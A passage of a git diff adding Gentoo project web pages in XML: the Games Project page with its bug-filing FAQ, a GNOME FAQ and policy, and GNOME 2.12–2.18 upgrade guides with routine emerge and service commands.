+<ti>games_ut_unpack</ti>
+<ti>This function is used to unpack .uz and .uz2 files that
+are typically associated with the Unreal Tournament series
+of games.  It can take either a file name or a directory
+name as an argument.  Use of this function requires that
+your ebuild has games-util/uz2unpack in DEPEND.</ti>
+</tr>
+<tr>
+<ti>games_umod_unpack</ti>
+<ti>This function is used to unpack .umod, .ut2mod, and
+.ut4mod files that are typically associated with the
+Unreal Tournament series of games.  This function requires
+an installation of one of these games, and is generally
+only used for modifications to these games.</ti>
+</tr>
+</table>
+
+<p>
+This covers all of the games.eclass functions.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/games/index.xml b/xml/htdocs/proj/en/desktop/games/index.xml
new file mode 100644
index 00000000..d9f060c7
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/games/index.xml
@@ -0,0 +1,304 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Games</name>
+<longname>Gentoo Games Project</longname>
+<date>27 July 2006</date>
+<author title="Author">Chris Gianelloni</author>
+
+<description>
+The Gentoo Games Project manages the game categories (dev-games, games-*)
+in Portage.
+</description>
+
+<longdescription><p>
+The Gentoo Games Project manages all games that are added into the Portage
+tree.  We're the guys that put the fun into Gentoo.  We also manage a few
+utilities that are used heavily in many games, such as the SDL* libraries.
+Please note that we don't manage heavily integrated games packages such
+as 'gnome-games' or 'kdegames'.
+</p></longdescription>
+
+<goals><p>
+The games project aims to turn Gentoo into the premiere Linux gaming
+platform.  We strive to have the best compatibility not only for free
+games, but also for commercial titles.
+</p></goals>
+
+<dev role="lead" description="Team Lead">vapier</dev>
+<dev role="member" description="everything except games-fps">Mr_Bones_</dev>
+<dev role="member" description="general games ninja">Tupone</dev>
+<dev role="member" description="general games ninja">nyhm</dev>
+
+<herd name="games"/>
+
+<extrachapter position="bottom">
+<title>Gentoo Games Bugs FAQ</title>
+
+<section>
+<body>
+
+<ol>
+<li><uri link="#doc_chap5_sect2">Which Product/Component should
+I pick?</uri></li>
+<li><uri link="#doc_chap5_sect3">What severity should I use for
+version bumps or new game requests?</uri></li>
+<li><uri link="#doc_chap5_sect4">Why shouldn't I mark a Games
+bug as "blocker"?</uri></li>
+<li><uri link="#doc_chap5_sect5">How long should I wait before
+filing a version bump request?</uri></li>
+<li><uri link="#doc_chap5_sect6">Should I attach an ebuild to a
+version bump request?</uri></li>
+<li><uri link="#doc_chap5_sect7">What information do I need to
+post with my bug report?</uri></li>
+<li><uri link="#doc_chap5_sect8">What if I am not running on an
+x86 kit?</uri></li>
+<li><uri link="#doc_chap5_sect9">When should I open a new bug
+rather than comment on an old one?</uri></li>
+<li><uri link="#doc_chap5_sect10">When is it appropriate to ask
+when a bug will be resolved/a new ebuild will be added?</uri></li>
+<li><uri link="#doc_chap5_sect11">Should I report a bug on an
+ebuild that does not have the proper KEYWORDS for my
+architecture?</uri></li>
+<li><uri link="#doc_chap5_sect12">This download is too big.  Can we
+make it download the patches?</uri></li>
+</ol>
+
+</body>
+</section>
+
+<section>
+<title>Which Product/Component should I pick?</title>
+<body>
+
+<p>
+You should always select the "Gentoo Linux" product and the "Games"
+component when filing any bug for an ebuild in <c>games-*</c> or
+<c>dev-games</c>.  This ensures that the bug is immediately
+assigned to the Games team, which allows for us to get the bug as
+quickly as possible.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>What severity should I use for version bumps or new game
+requests?</title>
+<body>
+
+<p>
+Requests for having an ebuild bumped to the latest version or to
+have an ebuild for a new game written or added to the portage tree
+should always be filed with a severity of "enhancement" since these
+are not bugs affecting functionality.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Why shouldn't I mark a Games bug as "blocker"?</title>
+<body>
+
+<p>
+This one is not only quite common, but also quite simple to answer.
+A bug in a Games ebuild will never cause your system to be
+destroyed or otherwise unusable.  Games are for entertainment
+purposes and as such, immediately get a lower priority than more
+important aspects of a Gentoo system, such as the toolchain.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>How long should I wait before filing a version bump
+request?</title>
+<body>
+
+<p>
+We typically follow the development of many of the more popular
+games.  In many cases, we maintain contact with the authors and are
+active in the community.  We are generally aware of new events in
+the Linux gaming community before the public.  A good rule of thumb
+is to wait at least 48 hours before posting an enhancement request
+for a new game or a version upgrade to an existing game.  This
+allows the developers time to work bugs which are possibly of
+higher priority than the game request.  It also allows us to verify
+that the game passes at least preliminary quality assurance.
+Remember once again that all of us have other functions in Gentoo
+which usually take a higher priority.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Should I attach an ebuild to a version bump request?</title>
+<body>
+
+<p>
+Usually, no.  If simply copying the ebuild to the new name and
+creating a new digest works for the upgrade, then please mention
+that in the bug.  It will save us time from looking at an ebuild
+and trying to determine what has changed.  If there has been a few
+minor changes, then a diff between the two ebuilds using
+<c>diff -u old.ebuild new.ebuild</c> is perfect.  If there has been
+major changes between versions, then an ebuild is appropriate and
+appreciated.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>What information do I need to post with my bug report?</title>
+<body>
+
+<p>
+As in any bug report, you should <b>always</b> post the output
+of <c>emerge --info</c> into every bug report that you submit.  If
+you think there are other pertinent pieces of information that
+could possibly help us in tracking down the bug, then be sure to
+include that information, too.  One example is the opengl
+implementation that you are using when filing a bug against an
+opengl-based game.  Anything you can provide us could possibly be
+the one piece of information that we need to accurately and quickly
+resolve the bug.  This could include information such as your
+method of installation in a CD-based install, or the situation in
+which the bug occurs.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>What if I am not running on an x86 kit?</title>
+<body>
+
+<p>
+You should be sure to make note of your using a non-x86
+architecture.  You should also set the platform to your appropriate
+platform.  Last, you should add the architecture team alias to the
+CC list for the bug.  This is the architecture name at gentoo.org,
+ex. <c>amd64@gentoo.org</c>.  This ensures that not only the Games
+team, but also the developers on the architecture team which your
+problem is occurring get all of the information as quickly as
+possible.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>When should I open a new bug rather than comment on an old
+one?</title>
+<body>
+
+<p>
+You should always open a new bug unless your problem is producing
+the exact same error, you have tried the workarounds or fixes in
+the ebuild, and your error is occurring on a same-versioned ebuild.
+Do not make comments on an already resolved bug if you are seeing a
+similar problem in a newer version of a game, as this makes it hard
+to track individual problems.  You should also never add a comment
+about a new version of to an existing bug about the same package.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>When is it appropriate to ask when a bug will be resolved/a new
+ebuild will be added?</title>
+<body>
+
+<p>
+Never.  Bugs are worked on by their priority given to them by
+the developers themselves.  All of the Games team are also
+developers in other areas of Gentoo, and Games bugs are
+<b>never</b> as critical as a toolchain or release bug.  Bugs do
+not get forgotten.  They will go in eventually.  If the bug is for
+a new ebuild, we suggest putting the ebuild into a local overlay
+and adding yourself to the CC on the bug.  Asking when the bug will
+be closed is not only selfish, but quite rude to the developers
+that volunteer their time to try to make Gentoo better for
+everyone.  While your bug may be very important to you, we have a
+larger view of what we have on our own plates and are better able
+to make decisions on how to spend our own precious time to best
+help Gentoo.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Should I report a bug on an ebuild that does not have the
+proper KEYWORDS for my architecture?</title>
+<body>
+
+<p>
+Not if you want the games developers to like you.  We will not
+support games that do not have proper KEYWORDS.  More than likely,
+the game does not work on that architecture, which is why it
+doesn't have KEYWORDS.  The only exception to this rule is if you
+are also providing a patch to fix the game for your architecture.
+Patches are always welcome.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>This download is too big.  Can we make it download the
+patches?</title>
+<body>
+
+<p>
+No.  In general, ebuilds are designed to be used as if one is
+not upgrading from a previous version.  As soon as we start having
+people download version $foo and patch $bar, people complain that
+there is a $foo-$bar distfile.  We can't please both camps, so we
+simply do not offer incremental downloads.  While this can be a
+pain for users on dial-up, it makes things easier on us.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Want to help?</title>
+
+<section>
+<body>
+
+<p>
+If you want to get involved with improving Gentoo's gaming
+experience, we'd like to hear from you! The main thing you'll want
+to do is be active on <uri link="http://bugs.gentoo.org">
+Gentoo's Bugzilla</uri>. A good start is to provide patches or ebuilds to bug
+reports that have already been filed by other users. Simply adding new bug
+reports is helpful in getting problems resolved in the long term, but does not
+help get them resolved in the near term. Also, please join games project
+members in #gentoo-games on irc.freenode.net.
+</p>
+
+<p>
+There is also a <uri link="games-ebuild-howto.xml">HOWTO</uri>
+for writing proper games ebuilds. You will definitely want to read
+it if you plan on contributing as it is the standard by which games ebuilds are
+written. This information is in addition to the standard ebuild policies and
+procedures.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/desktop/gnome/faq.xml b/xml/htdocs/proj/en/desktop/gnome/faq.xml
new file mode 100644
index 00000000..66f16b41
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/faq.xml
@@ -0,0 +1,145 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/faq.xml,v 1.4 2010/04/26 19:28:59 nightmorph Exp $ -->
+
+<guide>
+<title>Gentoo GNOME Project FAQ</title>
+
+<author title="Author">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+
+<author title="Author">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+
+<abstract>
+Frequently Asked Questions about GNOME on Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2</version>
+<date>2010-04-26</date>
+
+<chapter>
+<title>Gentoo GNOME FAQ</title>
+<section>
+<title>Frequently Asked Questions</title>
+<body>
+
+<ol>
+  <li>
+    <uri link="#doc_chap1_sect2">How do I turn off desktop icons?</uri>
+  </li>
+  <li>
+    <uri link="#doc_chap1_sect3">How do I use Keychain with GNOME?</uri>
+  </li>
+  <li>
+    <uri link="#doc_chap1_sect4">What is FAM, and should I use gamin
+    instead?</uri>
+  </li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>How do I turn off desktop icons?</title>
+<body>		
+
+<p>
+Desktop icons are drawn by Nautilus. In order to remove them, you have to stop
+nautilus from drawing the desktop. The quickest way is to modify the Nautilus
+GConf key to controlling drawing. You can either use <c>gconf-editor</c> or
+<c>gconftool-2</c> to set the
+<path>/apps/nautilus/preferences/show_desktop</path>.
+</p>
+
+<pre caption="using gconftool-2">
+% gconftool-2 -s /apps/nautilus/preferences/show_desktop -t bool false
+</pre>
+
+</body>
+</section>
+<section>
+<title>How do I use Keychain with GNOME?</title>
+<body>
+
+<p>
+<uri link="http://www.gentoo.org/doc/en/keychain-guide.xml">Keychain</uri>
+manages your SSH keys and SSH agent for you. To use it with your GNOME session,
+you will need to install <c>gtk2-ssh-askpass</c> or <c>x11-ssh-askpass</c>.
+These give an X interface to prompting you for a passphrase. Setup Keychain as
+the guide suggests and you should be prompted for your passphrase on your next
+login.
+</p>
+
+</body>
+</section>
+<section>
+<title>What is FAM, and should I use gamin instead?</title>
+<body>
+
+<p>
+<uri link="http://http://oss.sgi.com/projects/fam/">FAM</uri> (or the File
+Alteration Monitor) is a daemon responsible for notifying GUI applications of
+changes to files. Typically, on a GNOME desktop, this is used by nautilus (the
+file manager), to keep file listings current with the underlying system - even
+when modifications to the files are made from outside of nautilus.
+</p>
+
+<p>
+In short, FAM watches your filesystem to make sure what nautilus displays is up
+to date.
+</p>
+
+<p>
+<uri link="http://www.gnome.org/~veillard/gamin/">Gamin</uri> (an alternative to
+FAM), is library implementation of a subset of FAM's functionality, although
+its purpose in monitoring the file system for changes, is the same.  Gamin is
+not a complete FAM replacement - some of FAM's more exotic features are missing,
+but Gamin's main aims are to be an API/ABI compatible replacement for FAM, and
+to address resource consumption issues.
+</p>
+
+<p>
+So which of these two should you choose?
+</p>
+
+<p>
+We'd recommend you use Gamin over FAM for your GNOME desktop. The project is now
+more mature, it doesn't need to run as a daemon (saving some resources), and is
+easier to use than FAM.
+</p>
+
+<p>
+If you don't have FAM installed, installing gamin is easy:
+</p>
+
+<pre caption="Installing gamin">
+# <i>emerge gamin</i>
+</pre>
+
+<p>
+If you already have FAM installed, it's still easy to switch to gamin.  You'll
+need to stop FAM, remove it, and then install gamin:
+</p>
+
+<pre caption="Replacing FAM with gamin">
+# <i>rc-update del famd default</i>
+# <i>/etc/init.d/famd stop</i>
+# <i>emerge -C fam</i>
+# <i>emerge gamin</i>
+</pre>
+
+<p>
+Now you'll just need to restart GNOME, or nautilus (<c>killall -9 nautilus</c>)
+to use Gamin for file-monitoring.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/gnome-policy.xml b/xml/htdocs/proj/en/desktop/gnome/gnome-policy.xml
new file mode 100644
index 00000000..7eccdb8f
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/gnome-policy.xml
@@ -0,0 +1,131 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/gnome-policy.xml,v 1.10 2007/10/29 12:34:51 dang Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/gnome-policy.xml">
+<title>Gnome Project Policy</title>
+
+<author title="Author">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+
+<author title="Author">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+
+<abstract>
+This the policy document for the Gnome Project
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-08-03</date>
+
+<chapter>
+<title>Meta Ebuild Policy</title>
+<section>
+<body>
+
+<p>
+The Gnome Herd maintains a meta ebuild named gnome.  This meta ebuild is intended to
+install all of the packages considered by the upstream GNOME project as being part of the
+Gnome Desktop.  It is not intended to be customizable, with two exceptions: hardware
+customization (cdr, dvdr, hal), and accessibility.  This is the recommended method of
+installing the Gnome desktop on a Gentoo system.
+</p>
+<p>
+The primary alternative, if you require specific Gnome programs, is to emerge them
+individually.  If, for example, you want to use Evolution for email, you should emerge
+evolution.  This should pull in any necessary dependencies to run evolution.
+</p>
+<p>
+There are many subsets of Gnome that can be installed and usable.  There is no way that
+the Gnome Herd can support them all, or any significant fraction of them.  We do make one
+such subset available: gnome-light.  This subset is intended to include the programs
+necessary for basic desktop functionality without any additional applications.  It
+basically includes gnome-session, gnome-panel, gnome-terminal, nautilus, metacity, and
+yelp.  This is a session manager, a start menu/panel, a terminal program, a desktop, a
+file browser, a window manager, and a help browser.  This subset is largely unsupported
+(as none of the Gnome Herd members actually use it), but we will fix problems with it as
+we can.  Gnome-light can be used as a jumping-off point for installing intermediate
+subsets of Gnome between it and the full gnome meta ebuild, by emerging extra
+applications as necessary.  No other subsets, including making the gnome ebuild more
+customizable with USE flags, will be supported.
+</p>
+  
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>CFLAGS Support</title>
+<section>
+<body>
+  
+<p>
+Upstream GNOME does not support any advanced CFLAGS beyond -O2, and neither does the
+Gnome Herd.   Unreproducable bugs with any CFLAGS beyond -O2 and appropriate -march
+are liable to be closed as INVALID unless they can be reproduced with valid CFLAGS.
+</p>
+  
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Bug Priority</title>
+<section>
+<body>
+  
+<p>
+Bug priority table
+</p>
+ 
+<table>
+<tr>
+  <th>Priority</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>Pri-1</ti>
+  <ti>
+	Major bugs in the desktop.  This will also include Trackers (so the trackers are easy
+	to find).
+  </ti>
+</tr>
+<tr>
+  <ti>Pri-2</ti>
+  <ti>
+    Most bugs in the packages we maintain that have been verified as "real"
+    bugs and require fixing. Also includes version bumps.
+  </ti>
+</tr>
+<tr>
+  <ti>Pri-3</ti>
+  <ti>
+    Bugs identified as "user-specific", those that aren't verified and are most
+    likely to do with a specific users settings/issues.
+  </ti>
+</tr>
+<tr>
+  <ti>Pri-4</ti>
+  <ti>
+    Requests for new ebuilds that we'd like to maintain, time permitting.
+    Requests for new ebuilds that we don't want to maintain should be
+    re-assigned to maintainer-wanted.
+  </ti>
+</tr>
+<tr>
+  <ti>Pri-5</ti>
+  <ti>The Gentoo Gnome wishlist</ti>
+</tr>
+</table>
+  
+</body>
+</section>
+</chapter>
+  
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.12-upgrade.xml b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.12-upgrade.xml
new file mode 100644
index 00000000..6c394fa7
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.12-upgrade.xml
@@ -0,0 +1,289 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.12-upgrade.xml,v 1.9 2006/02/06 14:12:52 allanonjl Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.12-upgrade.xml">
+
+<title>Gnome 2.12 Upgrade Guide</title>
+<author title="Author">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+
+<abstract>
+This guide shows you the recommended way of upgrading your existing to 
+GNOME 2.12.  It assumes that GNOME 2.12 is in STABLE.  2.12 should be stable
+on all archs very soon.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2006-01-21</date>
+
+<chapter>
+<title>Getting Ready</title>
+
+<section>
+<title>Preparing the environment</title>
+<body>
+
+<p>
+Make sure you add hal, dbus, and cairo to your use flags.  If you plan on using
+evolution-exchange, also add kerberos and ldap.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Upgrade Python</title>
+<body>
+
+<p>
+Make sure you are using python 2.4.  Upgrade python to version 2.4 if you are 
+still on python 2.3.  If you have not run python-updater since the transition
+to 2.4, you should run it now.
+</p>
+
+<pre caption="Upgrading python">
+# <i>emerge -av python</i>
+# <i>python-updater</i>
+</pre>
+</body>
+</section>
+
+<section>
+<title>Some other things to check</title>
+<body>
+
+<warn>
+If you have gnome-doc-utils installed, re-emerge it. ( you should now have 
+version >= version 0.4.1 )
+</warn>
+
+</body>
+</section>
+
+<section>
+<body>
+
+<impo>Want automounting USB sticks and other things to just work? See "So Now
+What?" in this guide.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Upgrade to 2.12</title>
+<section>
+<body>
+
+<p>
+This is the fun part :)  Upgrade to GNOME 2.12.
+</p>
+
+<pre caption="Upgrade to GNOME 2.12">
+# <i>emerge -av gnome</i>
+</pre>
+
+<p>
+Or, if you like not so heavy things:
+</p>
+
+<pre caption="Upgrade to GNOME 2.12 lite">
+# <i>emerge -av gnome-light</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Run some revdep-rebuild</title>
+<section>
+<body>
+
+<p>Check if you need to run revdep-rebuild by doing:
+</p>
+<pre caption="running revdep-rebuild">
+# <i>revdep-rebuild -p</i>
+</pre>
+
+<p>
+You will know if you need to run it because some packages will be listed.
+To run it, just remove the "-p" flag.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>So now what?</title>
+<section>
+<body>
+
+<p>
+Add your user to the plugdev group.
+</p>
+
+<p>
+Now, exit your current GNOME session, and restart it!
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Want things to automatically automount when you plug them in?</title>
+<body>
+
+<p>
+Again, make sure you add hal and dbus to your useflags.
+</p>
+
+<p>
+You should also add your user to the plugdev group after the group is created by the pmount ebuild.  Otherwise, automounting will NOT work.  You will probably have to restart your session after adding your user to the plugdev group.  You can check if your in the plugdev group by typing id into a terminal window.
+</p>
+
+<p>
+We recommend the use of gamin instead of fam.  One way to use gamin is to have an inotify enabled kernel.  Gamin supports inotify, dnotify, and file-polling.  If you have problems with gamin, you can use fam instead.
+</p>
+
+<note>If you would like to know more about gamin configuration, please see <uri>http://www.gnome.org/~veillard/gamin/config.html</uri>
+</note>
+
+<impo>
+Gamin does not have an initscript, so you do not need to add it to any runlevels.
+</impo>
+
+<p>
+The inotify option is located at "File systems -> Inotify file change notification support".
+</p>
+
+<p>
+If you choose to use gamin, and have previously used fam, follow the code listing below:
+</p>
+
+<pre caption="">
+# <i>rc-update del famd</i>
+# <i>emerge unmerge fam</i>
+# <i>emerge -av gamin</i>
+</pre>
+
+<p>
+Next, update your machine so it recompiles things with the new useflags by using --newuse.  One way to do this is <c>emerge -uDav --newuse world</c>
+</p>
+
+<pre caption="updating with the new useflags">
+# <i>emerge -uDav --newuse world</i>
+</pre>
+<p>
+Now we need to start dbus and hal. They need to start up every time you restart your computer.
+</p>
+<pre caption="dbus, hal, gamin">
+# <i>rc-update add hald default</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+<p>
+Don't forget to add yourself to the plugdev group in <path>/etc/group</path>.
+</p>
+<p>
+Now you should be able to start <c>gnome-volume-manager</c> from the commandline and insert a USB stick, watch it automount and place an icon on your desktop :)
+</p>
+<p>
+If you want to change gnome-volume-manager's behavior, start <c>gnome-volume-properties</c> from the commandline.  This should start gnome-volume-manager if it is not already running.
+</p>
+</body>
+</section>
+</chapter>
+
+  <chapter>
+  <title>Common compilation problems</title>
+<section>
+<title>Did anyone else have similar issues?</title>
+ <body>
+ <p>
+ First, did your error look like any of these?
+ </p>
+ <pre caption="Errors">
+ make[2]: Entering directory
+ `/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs'
+ Making all in fdl
+ C/fdl.xml:603: parser error : Entity 'copy' not defined
+         Copyright copy; YEAR YOUR NAME.
+	                         ^
+make[3]: Entering directory
+`/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs/fdl'
+xsltproc -o fdl-C.omf --stringparam db2omf.basename fdl --stringparam
+db2omf.format 'docbook' --stringparam db2omf.dtd "-//OASIS//DTD DocBook XML
+V4.1.2//EN" --stringparam db2omf.lang C --stringparam db2omf.omf_dir
+"/usr/share/omf" --stringparam db2omf.help_dir "/usr/share/gnome/help"
+--stringparam db2omf.omf_in "`pwd`/./fdl.omf.in" `/usr/bin/pkg-config --variable
+db2omf gnome-doc-utils` C/fdl.xml
+compilation error: file C/fdl.xml line 15 element article
+xsltParseStylesheetProcess : document is not a stylesheet
+make[3]: *** [fdl-C.omf] Error 5
+make[2]: *** [all-recursive] Error 1
+make[1]: *** [all-recursive] Error 1
+make: *** [all] Error 2
+ </pre>
+ <note> See <uri>http://bugs.gentoo.org/103322</uri> if you have this issue.
+ </note>
+ <note>  In short, you need to re-emerge gnome-doc-utils as stated above.
+ </note>
+
+<pre caption="More errors">
+Traceback (most recent call last):
+  File "/usr/bin/xml2po", line 34, in ?
+      import libxml2
+      ImportError: No module named libxml2
+      make[2]: *** [de/file-roller.xml] Error 1
+      make[2]: *** Waiting for unfinished jobs....
+      Traceback (most recent call last):
+        File "/usr/bin/xml2po", line 34, in ?
+	    import libxml2
+	    ImportError: No module named libxml2
+make[2]: *** [es/file-roller.xml] Error 1
+make[2]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92/help'
+make[1]: *** [all-recursive] Error 1
+make[1]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92'
+make: *** [all] Error 2
+</pre>
+<pre caption="even more errors">
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+</pre>
+<note> In the first case, you probably forgot to run python-updater
+</note>
+<note> In the second case, you probably forgot to re-emerge gnome-doc-utils
+</note>
+
+</body>
+</section>
+
+<section>
+<title>What if its not one of the bugs listed above?</title>
+<body>
+<p>
+Search bugzilla for the name of your package to see if someone has already filed a bug for it.  You should search using "ALL package-name" to see both open and closed bugs.  If you cannot find a similar bug, please file a bug.  See the instructions located below.
+</p>
+<p>
+If you want to know how to file a bug, please consult:
+<uri>http://www.gentoo.org/doc/en/bugzilla-howto.xml</uri>
+</p>
+<p>
+You can also find the gentoo gnome herd in #gentoo-desktop
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.16-upgrade.xml b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.16-upgrade.xml
new file mode 100644
index 00000000..5440066a
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.16-upgrade.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.16-upgrade.xml,v 1.10 2007/05/18 18:11:58 dang Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.16-upgrade.xml">
+
+<title>Gnome 2.16 Upgrade Guide</title>
+<author title="Author">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+
+<abstract>
+This is a guide for upgrading from GNOME 2.14.x to GNOME 2.16.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-09-08</date>
+
+<chapter>
+<title>Troubleshooting</title>
+<section>
+<title>Notification-related build failures</title>
+<body>
+
+<p>
+<c>libnotify</c> builds differently based on the version of GTK+ installed on the
+system at the time it was emerged. If you are having problems building things
+like <c>zenity</c> or <c>rhythmbox</c> that are failing with undefined references to
+notification functions, rebuild <c>libnotify</c> after having upgraded GTK+ to 2.10.x.
+</p>
+
+</body>
+</section>
+<section>
+<title>gnome-settings-daemon fails to start</title>
+<body>
+
+<p>
+<c>gnome-settings-daemon</c> needs a local dbus session to work, and fails to start if
+one is not present. <c>gnome-session</c> automatically starts a dbus session for you,
+but if you're using some other WM or using <c>startx</c> with a <path>~/.xinitrc</path> 
+file, you need to manually start the dbus session.  Put this in your X startup file
+(<path>~/.xinit</path> for <c>startx</c>, <path>~/.xsession</path> for a DM):
+</p>
+
+<pre caption="Starting a dbus session">
+eval `dbus-launch --exit-with-session --sh-syntax`
+</pre>
+
+<p>
+Make sure it's before the line that runs <c>gnome-settings-daemon</c>.
+</p>
+
+<p>
+Alternatively, if you're using startx and not doing anything special in your
+<path>~/.xinitrc</path>, you can remove this file and set the XSESSION to 
+gnome in your <path>~/.profile</path> or in <path>/etc/rc.conf</path>.  This
+will correctly start dbus before starting gnome-session.
+</p>
+
+</body>
+</section>
+<section>
+<title>IMAP 4rev1 provider is gone in Evolution</title>
+<body>
+
+<p>
+The IMAP 4rev1 provider has been removed from <c>evolution</c> in this version.
+It is considered broken and unsupported upstream. Users should change their 
+accounts to use the normal IMAP provider instead.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.18-upgrade.xml b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.18-upgrade.xml
new file mode 100644
index 00000000..c811f0f2
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.18-upgrade.xml
@@ -0,0 +1,230 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/gnome/howtos/gnome-2.18-upgrade.xml,v 1.13 2007/08/18 22:28:36 cla Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.18-upgrade.xml">
+
+<title>Gnome 2.18 Upgrade Guide</title>
+<author title="Author">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Editor">
+<mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Editor">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+
+<abstract>
+This is a guide for upgrading from GNOME 2.16.x to GNOME 2.18.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2007-08-18</date>
+
+<chapter>
+<title>Major Changes</title>
+<section>
+<title>System Sounds and ESD</title>
+<body>
+
+<p>
+Upstream has decided to remove the autospawn capabilities of esd, because they
+were broken and led to lots of problems. This means that if you use system
+sounds, you will need to have the esound boot service running. It is started
+like this:
+</p>
+
+<pre caption="Starting esound at boot">
+# <i>rc-update add esound default</i>
+</pre>
+
+<p>
+Note that this will not start it until after a reboot, so to start it this time,
+use this:
+</p>
+
+<pre caption="Starting esound in running system">
+# <i>/etc/init.d/esound start</i>
+</pre>
+
+</body>
